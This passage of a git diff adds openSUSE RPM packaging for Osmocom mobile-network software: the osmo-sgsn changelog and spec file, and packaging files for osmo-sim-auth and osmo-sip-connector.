+-------------------------------------------------------------------
+Mon Jun 17 20:03:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.26:
+ * replace magic tmsi constant with define
+
+-------------------------------------------------------------------
+Sat Jun 15 20:10:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.25:
+ * sgsn: Have authentication required on by default
+
+-------------------------------------------------------------------
+Thu Jun 06 20:01:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.24:
+ * osmo-sgsn: add VTY parameter to toggle authentication
+ * sgsn_libgtp: Use new per-GSN libgtp API instead of deprecated API
+
+-------------------------------------------------------------------
+Wed Jun 05 20:01:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.22:
+ * doc/manuals/vty: regenerate sgsn_vty_reference.xml
+
+-------------------------------------------------------------------
+Fri May 31 20:01:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.21:
+ * debian: create -doc subpackage with pdf manuals
+
+-------------------------------------------------------------------
+Wed May 29 20:01:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.20:
+ * sgsn: Fix echo timer not started upon first pdp ctx created
+ * Document max retransmit times for T3395
+
+-------------------------------------------------------------------
+Mon May 27 20:01:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.18:
+ * sgsn: vty: Improve log warning content with spec section
+
+-------------------------------------------------------------------
+Sun May 12 20:01:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.17:
+ * Fix IMSI padding in imsi-acl
+
+-------------------------------------------------------------------
+Sat May 11 20:01:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.16:
+ * gprs_gmm: send Service Reject when no PDP ctxs are available.
+
+-------------------------------------------------------------------
+Thu May 02 20:01:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.15:
+ * Echo zero byte XID-Field of Type L3_PAR
+
+-------------------------------------------------------------------
+Tue Apr 30 20:02:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.14:
+ * gbproxy: parse dtap GSM48_MT_GSM_DEACT_PDP_REQ|ACK
+
+-------------------------------------------------------------------
+Sun Apr 28 20:01:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.13:
+ * gprs_sndcp_comp_free: Replace ifelse with switch and better handling of error
+
+-------------------------------------------------------------------
+Thu Apr 25 20:01:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.12:
+ * gb_proxy: cosmetic: Use 'bool' in data structures where applicable
+ * gb_proxy.h: Add missing comments; improve comments
+ * LLC: Store the XID inside the LLC Entity, not LLC Mgmg Entity
+ * gprs_llc: Correctly refuse any ABM command (SABM, DISC) with DM
+
+-------------------------------------------------------------------
+Wed Apr 24 20:01:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.8:
+ * LLC: Avoid NOTICE message on LLC NULL
+ * LLC: Don't blindly assume all LLC frames have data payload
+ * LLC XID: Fix string representation of N201_U
+
+-------------------------------------------------------------------
+Tue Apr 23 20:01:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.5:
+ * gprs_gmm: reintroduce calling gsm48_gmm_authorize when not handling GMM Attach Requests
+
+-------------------------------------------------------------------
+Tue Apr 09 20:02:02 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.4:
+ * gsm0408_rcv_gmm: send Iu-ReleaseCommand upon receiving Attach Complete.
+
+-------------------------------------------------------------------
+Wed Feb 27 21:01:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.3:
+ * gbproxy_test: Fix test expectations of gprs_ns_rcvmsg()
+
+-------------------------------------------------------------------
+Thu Feb 14 21:01:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.2:
+ * GMM: permit VLR_ANSWERED event in attach FSM
+ * Improve 'show subscriber cache' vty command
+
+-------------------------------------------------------------------
+Wed Jan 23 21:01:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.0:
+ * Bump version: 1.3.0.120-88220-dirty → 1.4.0
+
+-------------------------------------------------------------------
+Thu Dec 20 21:01:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.120:
+ * make gsup ipa name configurable in osmo-sgsn.cfg
+
+-------------------------------------------------------------------
+Mon Dec 17 21:01:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.119:
+ * remove pointless declaration of struct gsm_network
+
+-------------------------------------------------------------------
+Tue Dec 11 21:01:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.118:
+ * Use explicit parameter for sgsn_auth_init()
+
+-------------------------------------------------------------------
+Mon Dec 10 21:01:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.117:
+ * Use explicit length check
+ * Drop unused osmo-sgsn.pc
+ * Constify sgsn_acl_lookup() parameter
+ * Remove misleading comment
+
+-------------------------------------------------------------------
+Thu Dec 06 21:01:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.113:
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Wed Dec 05 21:01:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.112:
+ * contrib/jenkins.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Tue Dec 04 21:01:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.111:
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+
+-------------------------------------------------------------------
+Tue Nov 27 21:01:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.110:
+ * build manuals moved here from osmo-gsm-manuals.git
+ * sgsn: update vty reference
+ * vty-ref: Update URI of docbook 5.0 schema
+ * OsmoSGSN: update VTY reference
+ * OsmoSGSN: overview: Fix typo and reference OpenGGSN->OsmoGGSN
+ * share chapters/gsup.adoc from OsmoSGSN to OsmoMSC + OsmoHLR
+ * OsmoSGSN: add rate counter documentation
+ * OsmoSGSN: configuration: Document CDR CTRL interface
+ * OsmoSGSN: configuration: Add missing pdp-periodic event
+ * OsmoSGSN: configuration: Move pdp ctx specific CDR fields to its own table
+ * refactor Makefile build rules, don't use the FORCE
+ * Allow easily disabling GFDL references
+ * sgsn: Add charging characteristics to GSUP
+ * sgsn: Fix numbering of QoS and add basic description for APN
+ * osmo-sgsn: fix arrow tips in flow diagrams
+ * osmo-sgsn: Explain TCP/IP header compression
+ * osmo-sgsn: improve auth-policy explaination
+ * osmo-sgsn: Update VTY command reference
+ * GSUP, OAP: fix AUTS length to 14, not 16
+ * SGSN: add Auth. policy, NS Statistics and BSSGP state examples, tweaks
+ * fix 'make clean': shell glob, ignore failure
+ * add 'make check' target
+ * GSUP: Add ladder diagrams for protocol transactions / procedures
+ * Update GSUP chapter regarding UMTS AKA and other recent changes
+ * Add OsmoSGSN control interface description
+ * fix various typos across all manuals
+ * OsmoSGSN: Fix formatting/cross reference in CDR section
+ * Add link to Asciidoc source code of manual
+ * initial checkin of manuals to public repo
+
+-------------------------------------------------------------------
+Mon Nov 26 18:55:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.79:
+ * gbproxy: flush_stored_messages: Get rid of msg param
+ * gbproxy: flush_stored_messages: Log and route using stored_msg info
+ * gbproxy: flush_stored_messages: Move comment to func description
+ * gbproxy: Remove unneeded parse_ctx param
+ * gbproxy: Fix abort during APN patch
+ * Revert "gbproxy: fix formatting in gbproxy-state command"
+
+-------------------------------------------------------------------
+Thu Nov 22 18:59:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.73:
+ * gbproxy: flag gbproxy_assign_imsi as static
+ * gbproxy: add number-of-peers ctrl command
+ * gbproxy: fix formatting in gbproxy-state command
+ * consistently check the result of osmo_shift_v_fixed()
+
+-------------------------------------------------------------------
+Tue Nov 20 19:10:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.69:
+ * update gbproxy test expected output
+
+-------------------------------------------------------------------
+Mon Nov 19 18:32:12 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.68:
+ * Use safer functions for IMSI ACL
+
+-------------------------------------------------------------------
+Thu Nov 15 21:01:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.67:
+ * use enums consistently instead of falling back to int
+
+-------------------------------------------------------------------
+Thu Nov 15 14:30:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.66:
+ * fix bogus error check in gprs_sndcp_comp_create()
+
+-------------------------------------------------------------------
+Mon Nov 12 21:01:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.65:
+ * fix bogus assertion in encode_comp_field()
+
+-------------------------------------------------------------------
+Tue Nov 06 21:01:36 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.64:
+ * Cleanup non-existent files from debian/copyright
+
+-------------------------------------------------------------------
+Tue Oct 30 21:01:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.63:
+ * Remove local libgsupclient; Use libosmo-gsup-client from osmo-hlr
+ * Allocate sgsn_instance with talloc
+ * Update wrong references to bsc in sgsn code
+
+-------------------------------------------------------------------
+Sun Oct 21 17:24:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.60:
+ * gtphub: Add --version cmdline option
+
+-------------------------------------------------------------------
+Sun Oct 07 18:22:39 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.59:
+ * fix build: remove unused variable
+
+-------------------------------------------------------------------
+Thu Oct 04 20:01:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.58:
+ * gprs_llc: remove the FCS from the msgb by trim'ing the msgb
+ * sgsn_libgtp: fix a potential memleak when the GGSN is not reachable
+ * gprs_gmm: Fix missing Security Command for 3G when attaching
+
+-------------------------------------------------------------------
+Sat Sep 29 19:46:59 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.55:
+ * gprs_gmm: dont answer unknown IMSI/TMSI on Service Requests NET_FAIL
+
+-------------------------------------------------------------------
+Fri Sep 28 20:01:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.54:
+ * vty: add SCCP related vty commands
+
+-------------------------------------------------------------------
+Tue Sep 25 20:01:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.53:
+ * gbproxy-legacy: Ensure well-formed config file
+ * vty: fix doc str for 'reset sgsn state'
+
+-------------------------------------------------------------------
+Wed Sep 19 20:01:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.51:
+ * GTP: refactor the echo timer
+ * gprs_sgsn.h: fix wrong type of re-attempts
+ * sgsn_ggsn_ctx_drop_pdp: protect against nullpointer when MM is gone
+ * vty: restart sgsn state: improve output message
+
+-------------------------------------------------------------------
+Mon Sep 17 20:01:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.47:
+ * sgsn: use gtp_clear_queues() when reset sgsn state
+
+-------------------------------------------------------------------
+Fri Sep 14 20:01:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.46:
+ * debian: add missing build dependencies
+
+-------------------------------------------------------------------
+Thu Sep 13 20:01:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.45:
+ * gprs_gmm: introduce a GMM Attach Request FSM
+ * tests: remove gmm unit tests
+ * Install sample cfg file to /etc/osmocom
+ * Install systemd services with autotools
+ * debian: Fix typo in rules preventing build with IU support
+
+-------------------------------------------------------------------
+Thu Sep 06 20:01:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.40:
+ * Add osmo-gtphub systemd service file
+
+-------------------------------------------------------------------
+Tue Aug 21 20:01:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.39:
+ * use __FILE__, not __BASE_FILE__
+ * gbproxy: Replace '.' in counter names with ':'
+
+-------------------------------------------------------------------
+Fri Aug 17 20:04:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.37:
+ * gbproxy: Add new VTY-managed timer: link-list clean-stale-timer
+ * gbproxy: Add VTY parameter: link stored-msgs-max-length
+ * Use osmo_clock_gettime from libosmocore
+ * Drop gprs_msgb_resize_area with libosmocore replacement
+ * Drop gprs_msgb_copy with libosmocore replacement
+
+-------------------------------------------------------------------
+Mon Aug 13 20:01:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.32:
+ * vty: add cmd "reset sgsn state"
+
+-------------------------------------------------------------------
+Tue Jul 31 20:01:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.31:
+ * remove libcommon
+ * migrate to oap_client in libosmogsm
+
+-------------------------------------------------------------------
+Wed Jul 25 20:01:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.29:
+ * git-version-gen: Don't check for .git directory
+
+-------------------------------------------------------------------
+Tue Jul 24 20:01:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.28:
+ * gbproxy: Replace '.' in counter names with ':'
+ * sgsn: Fix crash using new libgtp cb_recovery2 API
+ * sgsn: gtp: Use new API to send PDP DEL CTX REQ without freeing ctx locally
+
+-------------------------------------------------------------------
+Thu Jul 19 20:01:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.25:
+ * sgsn: cdr: Fix uninitialized string access if ggsn is detached
+ * sgsn: subscriber: Avoid calling memcpy with NULL src
+
+-------------------------------------------------------------------
+Mon Jul 16 20:01:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.23:
+ * sgsn: Fix T3395 firing forever
+ * Forward GGSN originated DEACT PDP CTX REQ
+ * sgsn: Don't attempt to delete GTP pdp ctx if GGSN was restarted
+ * Add optional TearDownInd IE in PDP DEACT REQ towards PCU
+ * vty: Add cmd to disable echo loop explictly
+ * examples: Enable by default echo req towards active GGSNs
+ * Disarm T3395 when dettaching mmctx from pdpctx
+ * osmo-sgsn: ping GGSN periodically and check for restart counter
+
+-------------------------------------------------------------------
+Fri Jul 13 20:01:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.15:
+ * Maintain per ggsn pdp ctx list
+ * sgsn_libgtp.c: Log pointer of deleted context
+
+-------------------------------------------------------------------
+Mon Jun 25 20:01:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.13:
+ * finish gbproxy_parse_bssgp_unitdata test
+
+-------------------------------------------------------------------
+Fri Jun 22 20:01:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.12:
+ * Drop unused common_vty.c
+ * Drop all references of unused MGCP
+ * Drop all references of unused SMPP
+ * jenkins.sh: Remove non-existent configure options
+ * jenkins.sh: Use --enable-werror only when iu support is disabled
+
+-------------------------------------------------------------------
+Fri Jun 15 20:01:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.7:
+ * gb_proxy: Add ctrl interface and nsvc-state, gbproxy-state commands
+
+-------------------------------------------------------------------
+Fri Jun 08 20:01:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.6:
+ * add a test for OS#3178 (invalid unitdata message)
+
+-------------------------------------------------------------------
+Tue Jun 05 20:01:53 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.5:
+ * gprs_gmm: Cancel Location: use detach type IMSI
+
+-------------------------------------------------------------------
+Fri Jun 01 20:01:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.4:
+ * gb_proxy: tallocate memory for gbproxy cfg so it can be a talloc ctx
+
+-------------------------------------------------------------------
+Wed May 23 20:01:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.3:
+ * gprs_subscriber: gsup_auth_error: reject MS in all cases
+ * gprs_gmm: make functions relating to GMM Attach Request public
+ * gprs_gmm: make extract_subscr_msisdn extract_subscr_hlr public
+
+-------------------------------------------------------------------
+Thu May 03 20:01:50 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.0:
+ * GMM: dont reply to GMM_DETACH_REQ with POWER OFF when MS is unknown
+ * Bump version: 1.2.0.58-85ca87-dirty → 1.3.0
+
+-------------------------------------------------------------------
+Wed May 02 20:01:42 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.57:
+ * auth+ciph: log is_r99 and auth types
+ * log two RA Update Request failure causes
+ * GERAN: allow GSM SRES on UMTS AKA challenge
+
+-------------------------------------------------------------------
+Mon Apr 16 20:01:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.54:
+ * use osmo_init_logging2(), fix regression test memleaks
+
+-------------------------------------------------------------------
+Mon Apr 9 11:50:08 UTC 2018 - mardnh@gmx.de
+
+- Build with --enable-iu
+
+-------------------------------------------------------------------
+Fri Mar 16 19:58:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.53:
+ * compiler warnings: use enum ranap_nsap_addr_enc, constify local var
+
+-------------------------------------------------------------------
+Thu Mar 15 18:46:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.52:
+ * implement support for 3-digit MNC with leading zeros
+ * osmo-gbproxy: use 'osmo-gbproxy.cfg' as default config name
+
+-------------------------------------------------------------------
+Wed Mar 14 21:27:04 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.50:
+ * configure.ac: Enable Wall in CFLAGS
+ * gtphub: check for gsn_addr_from_sockaddr() errors
+ * gtphub: check for gsn_addr_from_sockaddr() error
+ * mandatory depend on libc-ares and libgtp
+ * .gitignore: Add m4 files
+ * sgsn_libgtp.c: Fix typos and whitespace
+ * Add talloc context introspection via VTY
+ * sgsn_test: guard against struct gprs_ra_id changing
+ * vty: absorb command explanations from osmo-gsm-manuals
+ * configure: add --enable-werror
+
+-------------------------------------------------------------------
+Wed Feb 14 16:17:40 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.2.0.47
+
+-------------------------------------------------------------------
+Sat Feb 10 20:52:13 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Sat Feb 10 16:10:36 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.2.0.44
+
+-------------------------------------------------------------------
+Wed Jan 24 13:14:08 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.2.0.41
+- Remove patch:
+ * osmo-sgsn-fix-includes.patch (fixed upstream)
+
+-------------------------------------------------------------------
+Fri Dec 29 17:38:20 UTC 2017 - mardnh@gmx.de
+
+- Add patch:
+ * osmo-sgsn-fix-includes.patch
+
+-------------------------------------------------------------------
+Fri Dec 29 12:18:40 UTC 2017 - jengelh@inai.de
+
+- %service_* already takes care of restart/removal
+ Compact %service_* since it incurs extra code.
+ Resolve package-name-repeated-in-summary.
+
+-------------------------------------------------------------------
+Thu Dec 28 10:37:26 UTC 2017 - mardnh@gmx.de
+
+- Initial package, version 1.2.0
diff --git a/rpm-local/spec/osmo-sgsn/osmo-sgsn.spec b/rpm-local/spec/osmo-sgsn/osmo-sgsn.spec
new file mode 100644
index 0000000..54e0c00
--- /dev/null
+++ b/rpm-local/spec/osmo-sgsn/osmo-sgsn.spec
@@ -0,0 +1,141 @@
+#
+# spec file for package osmo-sgsn
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+## Disable LTO for now since it breaks compilation of the tests
+## https://osmocom.org/issues/4116
+%define _lto_cflags %{nil}
+
+%define with_iu 1
+Name: osmo-sgsn
+Version: 1.6.0.6
+Release: 0
+Summary: Osmocom's SGSN for 2G and 3G packet-switched mobile networks
+License: AGPL-3.0-or-later AND GPL-2.0-or-later
+Group: Productivity/Telephony/Servers
+URL: https://osmocom.org/projects/osmosgsn/wiki/OsmoSGSN
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: systemd-rpm-macros
+BuildRequires: pkgconfig(libcares)
+BuildRequires: pkgconfig(libcrypto) >= 0.9.5
+BuildRequires: pkgconfig(libgtp) >= 1.4.0
+BuildRequires: pkgconfig(libosmo-gsup-client) >= 1.0.0
+BuildRequires: pkgconfig(libosmo-netif) >= 0.4.0
+BuildRequires: pkgconfig(libosmoabis) >= 0.6.0
+BuildRequires: pkgconfig(libosmocore) >= 1.2.0
+BuildRequires: pkgconfig(libosmoctrl) >= 1.2.0
+BuildRequires: pkgconfig(libosmogb) >= 1.2.0
+BuildRequires: pkgconfig(libosmogsm) >= 1.2.0
+BuildRequires: pkgconfig(libosmovty) >= 1.2.0
+%{?systemd_requires}
+%if %{with_iu}
+BuildRequires: pkgconfig(libasn1c)
+BuildRequires: pkgconfig(libosmo-ranap) >= 0.4.0
+BuildRequires: pkgconfig(libosmo-sigtran) >= 1.0.0
+%endif
+
+%description
+OsmoSGSN is Osmocom's Serving GPRS Support Node for 2G and 3G
+packet-switched mobile networks.
+
+%package -n osmo-gtphub
+Summary: Osmocom GTP Hub: Proxy for GTP traffic between multiple SGSNs and GGSNs
+Group: Productivity/Telephony/Servers
+
+%description -n osmo-gtphub
+Osmocom GTP Hub: Proxy for GTP traffic between multiple SGSNs and GGSNs.
+
+%package -n osmo-gbproxy
+Summary: Osmocom GPRS Gb Interface Proxy
+Group: Productivity/Telephony/Servers
+
+%description -n osmo-gbproxy
+The purpose of the Gb proxy is to aggregate the Gb links of multiple
+BSS's and present them in one Gb link to the SGSN.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+%if %{with_iu}
+ --enable-iu \
+%endif
+ --docdir=%{_docdir}/%{name} \
+ --with-systemdsystemunitdir=%{_unitdir}
+make %{?_smp_mflags}
+
+%install
+%make_install
+
+%preun %service_del_preun %{name}.service
+%postun %service_del_postun %{name}.service
+%pre %service_add_pre %{name}.service
+%post %service_add_post %{name}.service
+%preun -n osmo-gtphub %service_del_preun osmo-gtphub.service
+%postun -n osmo-gtphub %service_del_postun osmo-gtphub.service
+%pre -n osmo-gtphub %service_add_pre osmo-gtphub.service
+%post -n osmo-gtphub %service_add_post osmo-gtphub.service
+%preun -n osmo-gbproxy %service_del_preun osmo-gbproxy.service
+%postun -n osmo-gbproxy %service_del_postun osmo-gbproxy.service
+%pre -n osmo-gbproxy %service_add_pre osmo-gbproxy.service
+%post -n osmo-gbproxy %service_add_post osmo-gbproxy.service
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%files
+%doc AUTHORS README
+%dir %{_docdir}/%{name}/examples
+%dir %{_docdir}/%{name}/examples/osmo-sgsn
+%exclude %{_docdir}/%{name}/examples/osmo-gtphub
+%exclude %{_docdir}/%{name}/examples/osmo-gbproxy
+%{_docdir}/%{name}/examples/osmo-sgsn/osmo-sgsn-accept-all.cfg
+%{_docdir}/%{name}/examples/osmo-sgsn/osmo-sgsn.cfg
+%{_docdir}/%{name}/examples/osmo-sgsn/osmo-sgsn_custom-sccp.cfg
+%{_bindir}/osmo-sgsn
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-sgsn.cfg
+%{_unitdir}/%{name}.service
+
+%files -n osmo-gtphub
+%dir %{_docdir}/%{name}/examples
+%dir %{_docdir}/%{name}/examples/osmo-gtphub
+%{_docdir}/%{name}/examples/osmo-gtphub/osmo-gtphub-1iface.cfg
+%{_docdir}/%{name}/examples/osmo-gtphub/osmo-gtphub.cfg
+%{_bindir}/osmo-gtphub
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-gtphub.cfg
+%{_unitdir}/osmo-gtphub.service
+
+%files -n osmo-gbproxy
+%dir %{_docdir}/%{name}/examples
+%dir %{_docdir}/%{name}/examples/osmo-gbproxy
+%{_docdir}/%{name}/examples/osmo-gbproxy/osmo-gbproxy-legacy.cfg
+%{_docdir}/%{name}/examples/osmo-gbproxy/osmo-gbproxy.cfg
+%{_bindir}/osmo-gbproxy
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-gbproxy.cfg
+%{_unitdir}/osmo-gbproxy.service
+
+%changelog
diff --git a/rpm-local/spec/osmo-sim-auth/_service b/rpm-local/spec/osmo-sim-auth/_service
new file mode 100644
index 0000000..ce33302
--- /dev/null
+++ b/rpm-local/spec/osmo-sim-auth/_service
@@ -0,0 +1,19 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-sim-auth</param>
+ <param name="revision">master</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="exclude">.git</param>
+ <param name="package-meta">no</param>
+ <param name="package-meta">no</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/osmo-sim-auth/_servicedata b/rpm-local/spec/osmo-sim-auth/_servicedata
new file mode 100644
index 0000000..dc8e49a
--- /dev/null
+++ b/rpm-local/spec/osmo-sim-auth/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-sim-auth</param>
+ <param name="changesrevision">3aa34223e1f4d75a51382f8a337c69b7e94e36a2</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-sim-auth/osmo-sim-auth.changes b/rpm-local/spec/osmo-sim-auth/osmo-sim-auth.changes
new file mode 100644
index 0000000..2f31fa5
--- /dev/null
+++ b/rpm-local/spec/osmo-sim-auth/osmo-sim-auth.changes
@@ -0,0 +1,20 @@
+-------------------------------------------------------------------
+Sun Apr 08 18:41:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1519829479.3aa3422:
+ * Update README file with general information and convert to Markdown
+ * cosmetic: add/tweak log output, add vim indenting marker
+ * SIM API's to fetch information from SIM file system like Kc, LOCI, MSISDN etc. Added -p option for fetching SIM information based on the parameter passed.
+ * README: hint at pcscd service dependency
+
+-------------------------------------------------------------------
+Sat Feb 20 22:23:42 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1435209266.a1bf5c4:
+ + Fix BER decoding for the long form
+
+-------------------------------------------------------------------
+Mon Dec 22 13:40:22 UTC 2014 - mardnh@gmx.de
+
+- initial package, version 0.0.0.git1342215012.4807dd9
+
diff --git a/rpm-local/spec/osmo-sim-auth/osmo-sim-auth.spec b/rpm-local/spec/osmo-sim-auth/osmo-sim-auth.spec
new file mode 100644
index 0000000..492a97e
--- /dev/null
+++ b/rpm-local/spec/osmo-sim-auth/osmo-sim-auth.spec
@@ -0,0 +1,46 @@
+#
+# spec file for package osmo-sim-auth
+#
+# Copyright (c) 2014, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: osmo-sim-auth
+Version: 0.0.0.git1519829479.3aa3422
+Release: 0
+Summary: A command line tool for (U)SIM authentication
+License: GPL-2.0
+Group: Productivity/Telephony/Utilities
+URL: http://openbsc.osmocom.org/trac/wiki/osmo-sim-auth
+Source: %{name}-%{version}.tar.xz
+Requires: python-libmich
+Requires: python-scard
+BuildArch: noarch
+
+%description
+osmo-sim-auth is a small script that can be used with a PC-based smartcard
+reader to obtain GSM/UMTS authentication parameters from a SIM/USIM card.
+
+%prep
+%setup -q
+
+%build
+
+%install
+install -Dm 0755 osmo-sim-auth.py %{buildroot}%{_bindir}/osmo-sim-auth
+
+%files
+%doc README.md
+%{_bindir}/osmo-sim-auth
+
+%changelog
diff --git a/rpm-local/spec/osmo-sip-connector/_service b/rpm-local/spec/osmo-sip-connector/_service
new file mode 100644
index 0000000..a7bc3f6
--- /dev/null
+++ b/rpm-local/spec/osmo-sip-connector/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-sip-connector</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-sip-connector/_servicedata b/rpm-local/spec/osmo-sip-connector/_servicedata
new file mode 100644
index 0000000..962f07e
--- /dev/null
+++ b/rpm-local/spec/osmo-sip-connector/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-sip-connector</param>
+ <param name="changesrevision">e58ead7ac4c0e97f82ceef828b8da30f7cb84927</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-sip-connector/osmo-sip-connector.changes b/rpm-local/spec/osmo-sip-connector/osmo-sip-connector.changes
new file mode 100644
index 0000000..2da790d
--- /dev/null
